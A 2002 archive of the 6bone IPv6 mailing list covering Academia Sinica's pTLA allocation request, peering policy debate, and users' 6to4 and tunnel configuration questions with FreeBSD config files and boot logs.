>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>         -------------------------------------------------------------------
>         Academia Sinica is the the highest academic institution in the
>         Taiwan(Republic of China) with two basic missions: conducting
>         scientific research in its own institutes, as well as providing
>         guidance, channels of communication, and encouragement to
>         raising academic standards in the country.
>
>         Academia Sinica Computing Center have built IPv6 testbed network,
>         and we would like to provide connection for Taiwan Academia Research
>         Orginazation by tunnel or native.
>
>         Currently, we maintained TaipeiGigaPoP and planing to build IPv6
>         testbed network for our TaipeiGigaPoP members with PC(FreeBSD+Zebra)
>         routers, GSR12416(Cisco), 7513(Cisco), M20(Juniper).
>         -------------------------------------------------------------------
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>         -------------------------------------------------------------------
>         ASNET understand the 6bone operational rules and we are agree whit
>         them all. Yes, we agree the 6bone rules and policies for now and
>         future.
>         -------------------------------------------------------------------
>
>  Regards from Taiwan!!
>
>ssh
>
>--
>Saw-Shung Hung
>Network Division, Computing Centre, Academia Sinica
>Email: ssh@sinica.edu.tw Phone: 886-2-2789-9490 Fax: 886-2-2783-6444



From 6bone-owner  Sat Mar 16 00:15:19 2002
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	Sat, 16 Mar 2002 10:15:21 +0200
Date: Sat, 16 Mar 2002 10:15:21 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, Saw-Shung Hung <ssh@ascc.net>
Subject: Re: pTLA request for ASNET - review closes 29 March 2002
In-Reply-To: <5.1.0.14.0.20020315144009.02435c00@imap2.es.net>
Message-ID: <Pine.LNX.4.44.0203161012270.9218-100000@netcore.fi>
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On Fri, 15 Mar 2002, Bob Fink wrote:
> >We would like to apply for a pTLA allocation from 6bone, we are ASNET,
> >Academia Sinica Computing Center (http://www.ascc.net).
> >
> >We are one of the members of TANet(Taiwan Academia Network) in Taiwan.
> >We also maintain the TaipeiGigaPoP which provide 60% network traffic
> >exchanged in TANET-Taipei. The Mission of ASNET is to promote and to
> >coordinate the development of networks of telecommunications and
> >computing, focused to the scientific and educative development in
> >Taiwan.

IMO, instead of you, shouldn't 'TANet' be requesting the block?

If I understand correctly, you're basically just one university.. if so, 
we definitely should not go down that road.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Sat Mar 16 01:50:36 2002
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Date: Sat, 16 Mar 2002 11:50:31 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Saw-Shung Hung <ssh@ascc.net>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request for ASNET - review closes 29 March 2002
In-Reply-To: <20020316164016.F041.SSH@ascc.net>
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On Sat, 16 Mar 2002, Saw-Shung Hung wrote:
> > On Fri, 15 Mar 2002, Bob Fink wrote:
> > > >We would like to apply for a pTLA allocation from 6bone, we are ASNET,
> > > >Academia Sinica Computing Center (http://www.ascc.net).
> > > >
> > > >We are one of the members of TANet(Taiwan Academia Network) in Taiwan.
> > > >We also maintain the TaipeiGigaPoP which provide 60% network traffic
> > > >exchanged in TANET-Taipei. The Mission of ASNET is to promote and to
> > > >coordinate the development of networks of telecommunications and
> > > >computing, focused to the scientific and educative development in
> > > >Taiwan.
> > 
> > IMO, instead of you, shouldn't 'TANet' be requesting the block?
> 
> 	No, TANet can request their own pTLA, and we can too.
> 	We are just a member of TANet, but TANet did not own ASNET.

Sure.. the question is, however, who should be given one.

> > If I understand correctly, you're basically just one university.. if so, 
> > we definitely should not go down that road.
> 
> 	No, we definitely are NOT a "Universtiy". 
> 
> 	A brief introdution can be found at this url
> 
> 	http://www.sinica.edu.tw/as/asbrief.html
> 
> 	"Academia Sinica, founded in 1928, is the most prominent
> 	academic institution in the Republic of China. While affiliated
> 	directly to the Presidential Office of R.O.C., Academia Sinica
> 	enjoys independence and autonomy in formulating its own research
> 	objectives. Its major tasks are to undertake in-depth academic
> 	research on various subjects in the sciences and humanities, and
> 	to provide guidelines, channels of coordination, and incentives
> 	with a view to raising academic standards in the country."

So, you seem to be a research facility.

"Normal" scheme is that there is a network connectivity provider for 
academic facilities (be they universties, research centers, etc.) in a 
country.  In your case, I assumed that was TAnet.  Giving such an operator 
a pTLA is sound, giving one to each university or equivalent is not.  

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Mar 16 18:51:37 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Robert J. Rockell" <rrockell@sprint.net>
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Rob,

> Rob Rockell wrote:
> It would seem that businesses may drive this, despite recommendations from
> standards bodies (though I am not speaking for my business in this case; I
> can not guess where mine will go from a policy standpoint).

If I was the one to make the policy decision for Sprint, I think that I would want to continue the existing system. From Sprint's standpoint, what reasons could there be not to?

Michel.


->> Bill Manning wrote:
->> I am saddened by the thought that we move away from "where
->> everyone peers nicely with others" to something else.  Why
->> is this useful or desirable?

-> Michel Py wrote:
->It's not useful neither desirable. The point I will be trying to make is that it will happen at some point (don't get me wrong, I don't like it either, but the business model where everyone provides IPv6 transit for free is not going to last forever). In fact, some of the questions I plan to ask the floor for the purpose of triggering thinking about them are (roughly):
->1. Is the evolution of the IPv6 backbone (pushed by market forces) to a v4-like tiered system unavoidable?
->2. Is it the role of the 6bone or the IETF to think about it and possibly recommend something about it.


From 6bone-owner  Sun Mar 17 09:21:22 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Jeroen,

> Jeroen Massar wrote:
> For the 6bone it currently is quite common to peer with
> anyone possible just for the heck of it, mostly without
> realizing that it breaks BGP. Maybe there should be some
> kind of guideline or hint so that everybody knows and
> understands how and what it breaks.

Could you clarify what you mean by "it breaks BGP" ?

Thanks
Michel.


From 6bone-owner  Sun Mar 17 15:30:47 2002
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Subject: 6bone agenda for Thursday lunchtime meeting in Minneapolis
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@ISI.EDU>
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6boner,

> The 6bone meeting in Minneapolis will be during lunchtime
> Thursday from 11:45am to 12:45pm, just after the IPv6wg
> meeting that ends at 11:30, using the same room.
> "DFZ, pTLAs and the 6bone" - Michel Py, 10-15 mins

A link to the .ppt file:
http://arneill-py.sacramento.ca.us/ipv6mh#framework

An HTML version below:
http://arneill-py.sacramento.ca.us/ipv6mh/ietf53/index.htm

Thanks,
Michel.

From 6bone-owner  Sun Mar 17 15:40:43 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Rob,

My sentence was poorly worded. Instead of:
"If I was the one to make the policy decision for Sprint, I think that I would want to continue the existing system. From Sprint's standpoint, what reasons could there be not to?"

I should have said:
"If I was the one to make the policy decision for Sprint, I think that I would want to use the same routing policies in v6 that are currently used for v4. From Sprint's standpoint, what reasons could there be not to?"

Michel.

From 6bone-owner  Mon Mar 18 19:52:07 2002
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Date: Mon, 18 Mar 2002 22:52:30 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Bob Fink <fink@es.net>, Michael Kjorling <michael@kjorling.com>,
        6bone <6bone@ISI.EDU>
Subject: Re: 6bone web site unreachable over IPv6, connection refused  over
 IPv4
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just a clarification on www.6bone.net:
the IPv4 site is in hands of Bob at esnet.
The IPv6 site is a mirror of it hosted on our network (viagénie).

so the initial report was about the failure of the IPv4 site, but others 
did traceroute the IPv6 site and it responds.

So for this event, the redundancy worked... ;-)))

Marc.

-- lundi, mars 11, 2002 07:51:50 -0800 Bob Fink <fink@es.net> wrote/a écrit:

> Michael,
>
> At 12:31 PM 3/11/2002 +0100, Michael Kjorling wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> I can't reach the 6bone web site over IPv6, and when trying over IPv4
>> I get a connection refused message. Is anyone else experiencing these
>> problems?
>
> For several hours yesterday (Sunday) the IPv4-accessible 6bone web site
> was down due to a massive denial of service attack.
>
>
> Bob
>



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

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From: "Robert" <robert@quantum-radio.net.au>
To: <6bone@ISI.EDU>
Subject: just a check on a 6to4 syntax thing
Date: Thu, 21 Mar 2002 10:55:32 +1000
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This is a multi-part message in MIME format.

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Sorry if this seems obvious - but I can't see it.

In this document,
http://www.kfu.com/~nsayer/6to4/


it has the following
-----------------------
ipv6_enable=3D"YES"
ipv6_network_interfaces=3D"auto"
ipv6_gateway_enable=3D"YES"
ipv6_prefix_nn0=3D"2002:xxxx:xxxx"
stf_interface_ipv4addr=3D"xxx.xxx.xxx.xxx"

Replace the xs with your machine's IPv4 address, and nn0 with your =
interface's name.
-----------------------------------------

What part of the IPv4 address goes here ?
ipv6_prefix_nn0=3D"2002:xxxx:xxxx"
                                     ^^^^^^^^^^^^

Thanks
Robert

------=_NextPart_000_0186_01C1D0C6.EC11DC20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Sorry if this seems obvious - but I =
can't see=20
it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In this document,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.kfu.com/~nsayer/6to4/">http://www.kfu.com/~nsayer/6to4=
/</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>it has the following</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>-----------------------</FONT></DIV>
<DIV>ipv6_enable=3D"YES"<BR>ipv6_network_interfaces=3D"auto"<BR>ipv6_gate=
way_enable=3D"YES"<BR>ipv6_prefix_nn0=3D"2002:xxxx:xxxx"<BR>stf_interface=
_ipv4addr=3D"xxx.xxx.xxx.xxx"<BR></DIV>
<DIV>Replace the <CODE>x</CODE>s with your machine's IPv4 address, and=20
<CODE>nn0</CODE> with your interface's name.</DIV>
<DIV><FONT face=3DArial=20
size=3D2>-----------------------------------------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What part of the IPv4 address goes here =

?</FONT></DIV>
<DIV>ipv6_prefix_nn0=3D"2002:xxxx:xxxx"<BR><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;=20
^^^^^^^^^^^^</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Robert</FONT></DIV></BODY></HTML>

------=_NextPart_000_0186_01C1D0C6.EC11DC20--


From 6bone-owner  Wed Mar 20 18:36:36 2002
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Date: Thu, 21 Mar 2002 10:42:21 +0800
To: 6bone <6bone@ISI.EDU>
From: Ronald Wiplinger <ronald@elmit.com>
Subject: My setup does not work properly
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My setup does not work properly. I am sure I just miss a simple thing, but=
=20
cannot figure it out.

I use a Linux box with a 4 port Ethernet card, whereby:
eth0 is connected to the Internet with a static IP address and the tunnel=20
for IPv6 in IPv4
eth1 is in the moment not working (should be another ADSL Internet=20
connection with PPPoE, but routing is not working with a combination of=
 PPPoE)
eth2 is free
eth3 is the Internal LAN

The second ADSL line is now connected via another router and the internal=20
LAN is in both cases the same 192.168.250.x, whereby DHCPD points as=20
gateway to this router, but I can local connect via eth3 to the server.

The setup to the IPv6 is working from the server, and I can ping6 remote=20
destinations.

On the internal LAN I have a Windows 2000 machine with IPv6 setup and I can=
=20
ping6 to eth3, eth1 and (!!!!) to remote sites, IF I also ping6 from the=20
server.

I use SuSE 7.3 with the Electric Hurican script.

bye

Ronald


Ronald Wiplinger (=C3Q=A4=AF=AF=C7), CEO, ELMIT - THE Internet Solution=
 Provider
Tel. +886 2 8809-7680, Fax. +886 2 2809-9158, Mobile: +886 915 653-452
Net2Phone:8869550066, ICQ: 111651169
http://www.elmit.com            http://www.wiplinger.org
--=====================_42316357==_.ALT
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<html>
My setup does not work properly. I am sure I just miss a simple thing,
but cannot figure it out.<br><br>
I use a Linux box with a 4 port Ethernet card, whereby:<br>
eth0 is connected to the Internet with a static IP address and the tunnel
for IPv6 in IPv4<br>
eth1 is in the moment not working (should be another ADSL Internet
connection with PPPoE, but routing is not working with a combination of
PPPoE)<br>
eth2 is free<br>
eth3 is the Internal LAN<br><br>
The second ADSL line is now connected via another router and the internal
LAN is in both cases the same 192.168.250.x, whereby DHCPD points as
gateway to this router, but I can local connect via eth3 to the
server.<br><br>
The setup to the IPv6 is working from the server, and I can ping6 remote
destinations.<br><br>
On the internal LAN I have a Windows 2000 machine with IPv6 setup and I
can ping6 to eth3, eth1 and (!!!!) to remote sites, IF I also ping6 from
the server.<br><br>
I use SuSE 7.3 with the Electric Hurican script.<br><br>
bye<br><br>
Ronald<br><br>
<x-sigsep><p></x-sigsep>
Ronald Wiplinger (=C3Q=A4=AF=AF=C7), CEO, ELMIT - THE Internet Solution
Provider<br>
<font size=3D2>Tel. +886 2 8809-7680, Fax. +886 2 2809-9158, Mobile: +886
915 653-452 <br>
</font>Net2Phone:8869550066, ICQ: 111651169<br>
<a href=3D"http://www.elmit.com/"=
 eudora=3D"autourl">http://www.elmit.com</a><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;<=
/x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><a=
 href=3D"http://www.wiplinger.org/" eudora=3D"autourl">http://www.wiplinger.=
org</a></html>

--=====================_42316357==_.ALT--


From 6bone-owner  Wed Mar 20 18:48:45 2002
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Message-ID: <00b201c1d082$f04bcd30$bf016d8c@chang>
Reply-To: "Yu-lin Chang" <ylchang@ascc.net>
From: "Yu-lin Chang" <ylchang@ascc.net>
To: "6BONE Mail-List" <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0203161147300.9958-100000@netcore.fi>
Subject: Re: pTLA request for ASNET - review closes 29 March 2002
Date: Thu, 21 Mar 2002 10:48:53 +0800
Organization: Academia Sinica Computing Centre, Taiwan.
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> On Sat, 16 Mar 2002, Saw-Shung Hung wrote:
> > > On Fri, 15 Mar 2002, Bob Fink wrote:
> > > > >We would like to apply for a pTLA allocation from 6bone, we are ASNET,
> > > > >Academia Sinica Computing Center (http://www.ascc.net).
> > > > >
> > > > >We are one of the members of TANet(Taiwan Academia Network) in Taiwan.
> > > > >We also maintain the TaipeiGigaPoP which provide 60% network traffic
> > > > >exchanged in TANET-Taipei. The Mission of ASNET is to promote and to
> > > > >coordinate the development of networks of telecommunications and
> > > > >computing, focused to the scientific and educative development in
> > > > >Taiwan.
> > > 
> > > IMO, instead of you, shouldn't 'TANet' be requesting the block?
> > 
> > No, TANet can request their own pTLA, and we can too.
> > We are just a member of TANet, but TANet did not own ASNET.
> Sure.. the question is, however, who should be given one.
> > > If I understand correctly, you're basically just one university.. if so, 
> > > we definitely should not go down that road.
> > 
> > No, we definitely are NOT a "University". 
> > 
> > A brief introduction can be found at this url
> > 
> > http://www.sinica.edu.tw/as/asbrief.html
> > 
> > "Academia Sinica, founded in 1928, is the most prominent
> > academic institution in the Republic of China. While affiliated
> > directly to the Presidential Office of R.O.C., Academia Sinica
> > enjoys independence and autonomy in formulating its own research
> > objectives. Its major tasks are to undertake in-depth academic
> > research on various subjects in the sciences and humanities, and
> > to provide guidelines, channels of coordination, and incentives
> > with a view to raising academic standards in the country."
> 
> So, you seem to be a research facility.
> 
> "Normal" scheme is that there is a network connectivity provider for 
> academic facilities (be they universities, research centers, etc.) in a 
> country.  In your case, I assumed that was TAnet.  Giving such an operator 
> a pTLA is sound, giving one to each university or equivalent is not.  
> 


We don't think "who should be given one" is a really problem.
As a research facility doesn't mean we are not a network
connectivity provider. TANet only provide school(University,
High School etc.) in basically, ASNet provide not only research
institution in Taiwan to connect into Internet(and TANet of
course). ASNet also provide other ISP in Taiwan to transit into
TANet(in OC-192). ASNet provide an environment for academia and
business network to cooperate and communicate with each other.

As we said in our apply form, ASNet maintain TaipeiGigaPoP which
is an excellent L1 infrastructure. Our members include two
Fixed-Network Company(there are four Fixed-Network Companies in
Taiwan), two of the largest ISP in Taiwan, TANet and many research
institutions. We provide our member L2 and L3 network transit,
peering, connectivity backup and load-sharing.

At this time, ASNet have been established native connection to
TANet in FastEthernet(will upgrade to GigabitEthernet before
May-01), and been tested to APAN-JP by our STM-1 submarine cable
leasline and another STM-1 submarine cable to HK also. We also
setup IPv6-in-IPv4 tunnel to our TaipeiGigaPoP members. We issue
this pTLA request in order to widely deploy a native ipv6
testing for our TaipeiGigaPoP members.

Beside the TaipeiGigaPoP, ASNet is the APAN-TW NOC also.
ASNet help TANet and other research institutions to transit into
APAN(Asia Pacific Advanced Network). In a fact, part of
these IPv6 address block will reassign to TANet, to help us 
transit TANet into APAN in IPv6.

We believe ASNet satisfied RFC 2772 section 7-3: [have a
potential "user community" that would be served by its becoming a
pTLA, e.g., the Applicant is a major provider of Internet
service in a region, country, or focus of interest.].


ASNet is an active player about promote IPv6 deployment in
Taiwan. Our Director, Dr. Simon C. Lin is one of chairmen of
the NICI IPv6 Task Force (NICI stand for "National Information
and Communication Initiative"), to help NICI to construct the
National IPv6 Backbone Infrastructure in Taiwan.

"Taiwan IPv6 Forum" will open at Apr-10. 6bone to accept this
pTLA request will be a great news for us and Taiwan. It will
help us to accelerate deployment IPv6 in Taiwan.

Hope this help.

With best regard.

---
Yu-lin Chang, ylchang@ascc.net
Network Division, Academia Sinica Computing Centre,
Tel: +886-2-27899490  Fax: +886-2-27836444
---------------------------------------------------



From 6bone-owner  Wed Mar 20 19:16:50 2002
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Date: Wed, 20 Mar 2002 22:16:57 -0500
From: Matthew Drobnak <mdrobnak@optonline.net>
Subject: BGP4+ and ASNs
To: 6bone@ISI.EDU
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Hello all, I am new to this list, but have had an IPv6 tunnel for quite 
a while, please bear with me...

I have a /48 with FreeNet6. I would like to set up a few more tunnels, 
say one with Hurricane Electric (they were pretty good, but didnt have 
enough addresses for me, as I needed to subnet because of multiple 
interfaces), and would like to set up BGP4+ to go about routing in the 
most efficient manner. However, I do not have an ASN (Autonomous System 
Number), and I'm not quite sure how to get one. The thing is, I'm not 
that big in terms of like a corporation or anything. I'm your 
(no-so-average) user at home. However, I do have a few IPv6 tunnels to 
some of my friends, as well as to my place of employment. Also, I'm 
kinda new to BGP, so any tips would be appreciated.

Thanks for your time,

-Matthew Drobnak


From 6bone-owner  Wed Mar 20 21:29:39 2002
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Date: Thu, 21 Mar 2002 06:29:52 +0100
From: Jesper Skriver <jesper@skriver.dk>
To: Matthew Drobnak <mdrobnak@optonline.net>
Cc: 6bone@ISI.EDU
Subject: Re: BGP4+ and ASNs
Message-ID: <20020321062952.A336@skriver.dk>
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On Wed, Mar 20, 2002 at 10:16:57PM -0500, Matthew Drobnak wrote:
> Hello all, I am new to this list, but have had an IPv6 tunnel for quite 
> a while, please bear with me...
> 
> I have a /48 with FreeNet6. I would like to set up a few more tunnels, 
> say one with Hurricane Electric (they were pretty good, but didnt have 
> enough addresses for me, as I needed to subnet because of multiple 
> interfaces), and would like to set up BGP4+ to go about routing in the 
> most efficient manner. However, I do not have an ASN (Autonomous System 
> Number), and I'm not quite sure how to get one. The thing is, I'm not 
> that big in terms of like a corporation or anything. I'm your 
> (no-so-average) user at home. However, I do have a few IPv6 tunnels to 
> some of my friends, as well as to my place of employment. Also, I'm 
> kinda new to BGP, so any tips would be appreciated.

You should not get a AS number as a home user, it's a limited
resource.

/Jesper

From 6bone-owner  Wed Mar 20 21:38:37 2002
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From: "Robert" <robert@quantum-radio.net.au>
To: "6bone" <6bone@ISI.EDU>
Subject: could someone check my rc.conf please? a small error/warning there somewhere
Date: Thu, 21 Mar 2002 15:40:02 +1000
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I have something ? out of place here, because it's giving the error on =
startup shown below this config file. Apart from that one error? I think =
everything else is ok?
Thanks a lot for any help, I appreciate it.=20
Robert

# -- sysinstall generated deltas -- #
ifconfig_lo0=3D"inet 127.0.0.1"
ifconfig_ed0=3D"inet 203.1.96.6  netmask 255.255.255.0"
ifconfig_stf0=3D"inet6 2002:cb01:6006::1 prefixlen 16 alias"
hostname=3D"ruby.chalmers.com.au"
named_enable=3D"YES"

defaultrouter=3D"203.1.96.5"
static_routes=3D""
gateway_enable=3D"NO"
router_enable=3D"NO"
mrouted_enable=3D"NO"
inetd_enable=3DYES
tcp_extensions=3D"YES"

### IPv6 options: ###
ipv6_enable=3D"YES"              =20
ipv6_network_interfaces=3D"auto" =20
ipv6_gateway_enable=3D"YES"      =20
ipv6_prefix_ed0=3D"2002:cb01:6006"
ipv6_static_routes=3D"default"
ipv6_route_default=3D"default 2002:cdb2:5ac2::1"
stf_interface_ipv4addr=3D"203.1.96.6"
-------------------------------------------------------------------------=


error from startup=20
Mar 21 15:19:15 ruby kernel: ifconfig:
Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value


------------------------------------------------------------------------
output of startup.

Mar 21 15:19:14 ruby kernel: ed0: =
flags=3D8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
Mar 21 15:19:14 ruby kernel: inet 203.1.96.6 netmask 0xffffff00 =
broadcast 203.1.96.255
Mar 21 15:19:14 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen =
64 tentative scopeid 0x1
Mar 21 15:19:14 ruby kernel: ether 00:40:05:4e:a9:82
Mar 21 15:19:14 ruby kernel: lo0: =
flags=3D8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
Mar 21 15:19:14 ruby kernel: inet6 ::1 prefixlen 128
Mar 21 15:19:14 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
Mar 21 15:19:14 ruby kernel: inet 127.0.0.1 netmask 0xff000000
Mar 21 15:19:15 ruby kernel: add net default: gateway 203.1.96.5
Mar 21 15:19:15 ruby kernel: Additional routing options:
Mar 21 15:19:15 ruby kernel: Routing daemons:
Mar 21 15:19:15 ruby kernel: Doing IPv6 network setup:
Mar 21 15:19:15 ruby kernel: add net ::ffff:0.0.0.0: gateway ::1
Mar 21 15:19:15 ruby kernel: add net ::0.0.0.0: gateway ::1
Mar 21 15:19:15 ruby kernel: net.inet6.ip6.forwarding:
Mar 21 15:19:15 ruby kernel: 0
Mar 21 15:19:15 ruby kernel: ->
Mar 21 15:19:15 ruby kernel: 1
Mar 21 15:19:15 ruby kernel:
Mar 21 15:19:15 ruby kernel: net.inet6.ip6.accept_rtadv:
Mar 21 15:19:15 ruby kernel: 0
Mar 21 15:19:15 ruby kernel: ->
Mar 21 15:19:15 ruby kernel: 0
Mar 21 15:19:15 ruby kernel:
Mar 21 15:19:15 ruby kernel: ifconfig:
Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^



Mar 21 15:19:15 ruby kernel:
Mar 21 15:19:15 ruby kernel: ed0: =
flags=3D8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
Mar 21 15:19:15 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen =
64 scopeid 0x1
Mar 21 15:19:15 ruby kernel: inet6 2002:cb01:6006:: prefixlen 64 anycast
Mar 21 15:19:15 ruby kernel: lp0: =
flags=3D8851<UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST> mtu 1500
Mar 21 15:19:15 ruby kernel: ifconfig:
Mar 21 15:19:15 ruby kernel: lp0 has no inet6 interface address!
Mar 21 15:19:15 ruby kernel:
Mar 21 15:19:15 ruby kernel: lo0: =
flags=3D8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
Mar 21 15:19:15 ruby kernel: inet6 ::1 prefixlen 128
Mar 21 15:19:15 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
Mar 21 15:19:15 ruby kernel: add net 2002:e000::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net 2002:7f00::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net 2002:0000::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net 2002:ff00::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net fe80::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net ff02::: gateway ::1
Mar 21 15:19:15 ruby kernel: add net default: gateway 2002:cdb2:5ac2::1
Mar 21 15:19:15 ruby kernel: IPv4 mapped IPv6 address support=3DYES
Mar 21 15:19:15 ruby kernel: .
Mar 21 15:19:15 ruby kernel: Additional daemons:
Mar 21 15:19:15 ruby kernel: syslogd






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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have something ? out of place here, =
because it's=20
giving the error on startup shown below this config file. Apart from =
that one=20
error? I think everything else is ok?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks a lot for any help, I appreciate =
it.=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Robert</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2># -- sysinstall generated deltas --=20
#<BR>ifconfig_lo0=3D"inet 127.0.0.1"<BR>ifconfig_ed0=3D"inet =
203.1.96.6&nbsp;=20
netmask 255.255.255.0"<BR>ifconfig_stf0=3D"inet6 2002:cb01:6006::1 =
prefixlen 16=20
alias"<BR>hostname=3D"ruby.chalmers.com.au"</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>named_enable=3D"YES"</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>defaultrouter=3D"203.1.96.5"<BR>static_routes=3D""<BR>gateway_en=
able=3D"NO"<BR>router_enable=3D"NO"<BR>mrouted_enable=3D"NO"<BR>inetd_ena=
ble=3DYES<BR>tcp_extensions=3D"YES"<BR></FONT><FONT=20
face=3DArial size=3D2><BR>### IPv6 options:=20
###<BR>ipv6_enable=3D"YES"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>ipv6_network_interfaces=3D"auto"&nbsp;=20
<BR>ipv6_gateway_enable=3D"YES"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>ipv6_prefix_ed0=3D"2002:cb01:6006"</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>ipv6_static_routes=3D"default"<BR>ipv6_route_default=3D"default =

2002:cdb2:5ac2::1"<BR>stf_interface_ipv4addr=3D"203.1.96.6"</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>----------------------------------------------------------------=
---------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>error from startup </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Mar 21 15:19:15 ruby kernel: =
ifconfig:<BR>Mar 21=20
15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>--------------------------------------------------------------------=
----</DIV>
<DIV>output of startup.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Mar 21 15:19:14 ruby kernel: ed0:=20
flags=3D8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
15:19:14 ruby kernel: inet 203.1.96.6 netmask 0xffffff00 broadcast=20
203.1.96.255<BR>Mar 21 15:19:14 ruby kernel: inet6 =
fe80::240:5ff:fe4e:a982%ed0=20
prefixlen 64 tentative scopeid 0x1<BR>Mar 21 15:19:14 ruby kernel: ether =

00:40:05:4e:a9:82<BR>Mar 21 15:19:14 ruby kernel: lo0:=20
flags=3D8049&lt;UP,LOOPBACK,RUNNING,MULTICAST&gt; mtu 16384<BR>Mar 21 =
15:19:14=20
ruby kernel: inet6 ::1 prefixlen 128<BR>Mar 21 15:19:14 ruby kernel: =
inet6=20
